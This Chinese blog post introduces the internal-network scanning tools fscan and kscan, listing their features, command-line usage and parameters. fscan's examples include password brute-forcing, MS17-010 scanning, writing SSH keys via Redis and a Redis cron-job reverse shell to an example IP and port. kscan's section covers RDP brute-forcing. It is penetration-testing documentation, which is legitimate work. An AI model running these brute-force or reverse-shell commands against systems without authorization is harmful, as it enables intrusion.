漏洞扫描工具(一)

FSCAN

fscan 是一个内网综合扫描工具,方便一键自动化、全方位漏洞扫描。

它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

源码链接:GitHub - shadow1ng/fscan: 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。

1.信息搜集:

  • 存活探测(icmp)
  • 端口扫描

2.爆破功能:

  • 各类服务爆破(ssh、smb等)
  • 数据库密码爆破(mysql、mssql、redis、psql等)

3.系统信息、漏洞扫描:

  • 获取目标网卡信息
  • 高危漏洞扫描(ms17010等)

4.Web探测功能:

  • webtitle探测
  • web指纹识别(常见cms、oa框架等)
  • web漏洞扫描(weblogic、st2等,支持xray的poc)

5.漏洞利用:

  • redis写公钥或写计划任务
  • ssh命令执行

6.其他功能:

  • 文件保存

使用方法

fscan.exe -h 192.168.1.1/24  (默认使用全部模块)  
fscan.exe -h 192.168.1.1/16  (B段扫描)
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)  
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)  
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)  
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)  
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)  
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)  
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)   
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )  
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)  
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)  
fscan.exe -hf ip.txt  (以文件导入)

参数

  -c string
        ssh命令执行
  -cookie string
        设置cookie
  -debug int
        多久没响应,就打印当前进度(default 60)
  -domain string
        smb爆破模块时,设置域名
  -h string
        目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
  -hf string
        读取文件中的目标
  -hn string
        扫描时,要跳过的ip: -hn 192.168.1.1/24
  -m string
        设置扫描模式: -m ssh (default "all")
  -no
        扫描结果不保存到文件中
  -nobr
        跳过sql、ftp、ssh等的密码爆破
  -nopoc
        跳过web poc扫描
  -np
        跳过存活探测
  -num int
        web poc 发包速率  (default 20)
  -o string
        扫描结果保存到哪 (default "result.txt")
  -p string
        设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
  -pa string
        新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
  -path string
        fcgi、smb romote file path
  -ping
        使用ping代替icmp进行存活探测
  -pn string
        扫描时要跳过的端口,as: -pn 445
  -pocname string
        指定web poc的模糊名字, -pocname weblogic
  -proxy string
        设置代理, -proxy http://127.0.0.1:8080
  -user string
        指定爆破时的用户名
  -userf string
        指定爆破时的用户名文件
  -pwd string
        指定爆破时的密码
  -pwdf string
        指定爆破时的密码文件
  -rf string
        指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
  -rs string
        redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
  -silent
        静默扫描,适合cs扫描时不回显
  -sshkey string
        ssh连接时,指定ssh私钥
  -t int
        扫描线程 (default 600)
  -time int
        端口扫描超时时间 (default 3)
  -u string
        指定Url扫描
  -uf string
        指定Url文件扫描
  -wt int
        web访问超时时间 (default 5)

是一款很实用的工具,平时有很多场景可以使用到。

K scan

简介

kscan是一款资产测绘工具,可针对指定资产进行端口扫描以及TCP指纹识别和Banner抓取,在不发送更多的数据包的情况下尽可能的获取端口更多信息。并能够针对扫描结果进行自动化暴力破解,且是go平台首款开源的RDP暴力破解工具。

目前类似的资产扫描、指纹识别、漏洞检测的工具其实已经非常多了,也不乏有很棒的工具,但是Kscan其实有很多不同的想法。

  • Kscan希望能够接受多种输入格式,无需在使用之前对扫描对象进行分类,比如区分为IP,还是URL地址等,这对于使用者来说无疑是徒增工作量,所有的条目,均能正常输入和识别,若是URL地址,则会保留路径进行检测,若只是IP:PORT,则会优先对该端口进行协议识别。目前Kscan支持三种输入方式(-t,--target|-f,--fofa|--spy)。
  • Kscan没有为了追求效率,而根据端口号与常见协议进行比对来确认端口协议,也不是只检测WEB资产,在这方面,Kscan则更加看重准确性和全面性,只有高准确性的协议识别,才能为后续的应用层识别,提供良好的检测条件。
  • Kscan不是采用模块化的方式做单纯的功能堆叠,比如某个模块单独获取标题,某个模块单独获取SMB信息等等,独立运行,独立输出,而是以端口为单位输出资产信息,比如端口协议为HTTP,则会自动化进行后续的指纹识别、标题获取,端口协议为RPC,则会尝试获取主机名等等。

使用方法

usage: kscan [-h,--help] (-t,--target) [--spy] [-p,--port|--top] [-o,--output] 
[--proxy] [--threads] [--path] [--host] [--timeout] [-Pn] [--check] [--encoding]


optional arguments:
-h , --help     show this help message and exit
-t , --target   指定探测对象:
                IP地址:114.114.114.114
                IP地址段:114.114.114.114/24,不建议子网掩码小于12
                IP地址段:114.114.114.114-115.115.115.115
                URL地址:https://www.baidu.com
                文件地址:file:/tmp/target.txt
-p , --port     扫描指定端口,默认会扫描TOP400,支持:80,8080,8088-8090
-o , --output   将扫描结果保存到文件
-Pn          	  使用此参数后,将不会进行智能存活性探测,现在默认会开启智能存活性探测,提高效率
--check         针对目标地址做指纹识别,仅不会进行端口探测
--top           扫描经过筛选处理的常见端口TopX,最高支持1000个,默认为TOP4000
--proxy         设置代理(socks5|socks4|https|http)://IP:Port
--threads       线程参数,默认线程400,最大值为2048
--path          指定请求访问的目录,逗号分割
--host          指定所有请求的头部Host值
--timeout       设置超时时间
--encoding      设置终端输出编码,可指定为:gb2312、utf-8
--spy           网段探测模式,此模式下将自动探测主机可达的内网网段,无需配置其他任何参数
--rarity        指定Nmap指纹识别级别[0-9],数字越大可识别的协议越多越准确,但是扫描时间会更长,默认为:4

原理

漏洞扫描工具(一)_第1张图片

如上图所示,从提供攻击目标,到最终实施攻击,经历了四个关键阶段。

  • 转换阶段这部分阶段主要目标是完成:从攻击目标到信息资产的一个转换,例如从一个关键字、主域名到具体的IP地址或者其他引申的子域名,主要手段是通过FOFA、钟馗之眼、子域名挖掘/爆破工具来生成一个模糊的清单用于后续阶段去做深层次的筛选。其实EHole、Glass等工具有做这一个阶段的整合,但是在这方面,我没有把这个功能做到kscan中,目前我其实是刻意把转换阶段独立出来的。因为在这个阶段,不论是搜索的关键字也好,还是通过域名找到真实IP也好,还是其实更多的需要”人“来做识别。识别完成之后,再生成一个清单给kscan,这样会使后面的流程更高效。当然这只是我的个人的一个执念,如果后续反响强烈的话,加进去其实也未尝不可。
  • 扫描阶段这一阶段主要是针对IP进行端口扫描以便于后续的应用层识别,扫描速率达标的工具诸如:s.exe、masscan等大都只能实现对开放情况进行探测。而目前的大部分工具,把这部分工作交给了FOFA等搜索引擎,不会自己进行资产探测,这样的优点是不会有大量的端口探测包打草惊蛇,缺点是存在时效性。可能漏掉资产。权衡之后,最终还是把这块功能整合到了kscan中,毕竟IP被封了可以换,资产漏掉了可就是真的漏掉了。
  • 识别阶段这一阶段就是对已开放的端口进行深度的端口识别,传统工具大都是只能对端口开放情况进行探测,各别具备识别功能的工具如:nmap效率则是硬伤,而且不能对内容进行解析,无法获取标题等。又或者只能进行HTTP等特定协议进行识别。为了解决这些问题,kscan在确保效率、不发送更多数据包的前提下,能够识别大多数开放端口的协议。
  • 检测阶段最后一个阶段,就是应用层检测了,类似CMS指纹识别、敏感目录/文件探测等等,kscan的开发初衷是在不发送更多数据的情况下更多的获取目标的信息,所以不会进行更深层次的目录扫描、指纹比对。但是会进行ico文件hash比对以及首页关键字比对,和返回包头部比对。这其实基本可以满足大部分的指纹识别需求了。

 

你可能感兴趣的:(安全)